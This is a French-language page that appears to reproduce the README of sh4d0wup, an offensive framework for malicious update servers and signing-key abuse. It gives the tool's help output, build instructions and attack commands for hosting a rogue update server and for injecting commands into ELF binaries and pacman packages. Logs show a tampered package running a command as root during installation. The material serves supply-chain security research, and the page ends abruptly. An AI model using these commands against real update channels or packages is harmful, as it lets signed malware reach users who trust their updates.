
Cadre d'exploitation des abus de clés de signature et des mises à jour
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
front Bind a http/https server but forward everything unmodified
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
req Emulate a http request to test routing and selectors
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Increase logging output (can be used multiple times)
-q, --quiet... Reduce logging output (can be used multiple times)
-h, --help Print help information
-V, --version Print version information
Vous êtes-vous déjà demandé si la mise à jour que vous avez téléchargée est la même que celle que tout le monde reçoit, ou bien en avez-vous reçu une différente, conçue spécialement pour vous ? Les mises à jour fantômes sont des mises à jour qui n'existent officiellement pas mais qui portent des signatures valides et seraient acceptées comme authentiques par les clients. Cela peut se produire si la clé de signature est compromise par des pirates ou si un ingénieur de publication ayant un accès légitime devient malhonnête.
sh4d0wup est un serveur de mise à jour malveillant http/https qui agit comme un proxy inverse devant un serveur légitime et peut infecter + signer divers formats d'artefacts. Les attaques sont configurées dans des plots qui décrivent comment le routage des requêtes http fonctionne, comment les artefacts sont patchés/générés, comment ils doivent être signés et avec quelle clé. Une route peut avoir des selecteurs pour qu'elle corresponde seulement si, par exemple, le user-agent correspond à un motif ou si le client se connecte depuis une adresse IP spécifique. Pour le développement et les tests, des clés/certificats de signature factices peuvent être générés et marqués comme de confiance.
Il existe un binaire pré-construit dans le dépôt [extra] d'Arch Linux. Pour construire le binaire à partir des sources sur un système basé sur Debian, utilisez ceci (testé avec Ubuntu 22.04) :
apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release
sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help
Certains scénarios sont plus complexes à préparer que d'autres. Pour éviter un long temps de démarrage dû aux téléchargements et au patchage des artefacts, vous pouvez construire un scénario à l'avance. Cela permet également de créer les signatures à l'avance.
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst
Cela lance un serveur de mise à jour http malveillant selon le scénario. Accepte également les fichiers yaml mais leur démarrage peut être plus long.
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst
Vous trouverez des exemples ici :
contrib/plot-archlinux.yamlcontrib/plot-debian.yamlcontrib/plot-rustup.yamlcontrib/plot-curl-sh.yamlsh4d0wup infect elf% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>
Commands:
bait Start a malicious update server
infect High level tampering, inject additional commands into a package
tamper Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
keygen Generate signing keys with the given parameters
sign Use signing keys to generate signatures
hsm Interact with hardware signing keys
build Compile an attack based on a plot
check Check if the plot can still execute correctly against the configured image
completions Generate shell completions
help Print this message or the help of the given subcommand(s)
Options:
-v, --verbose... Turn debugging information on
-h, --help Print help information
sh4d0wup infect pacman% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) sh4d0wup-0.2.0-2
Total Installed Size: 13.36 MiB
Net Upgrade Size: 0.00 MiB
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [#######################################] 100%
(1/1) checking package integrity [#######################################] 100%
(1/1) loading package files [#######################################] 100%
(1/1) checking for file conflicts [#######################################] 100%
(1/1) checking available disk space [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk
sh4d0wup infect deb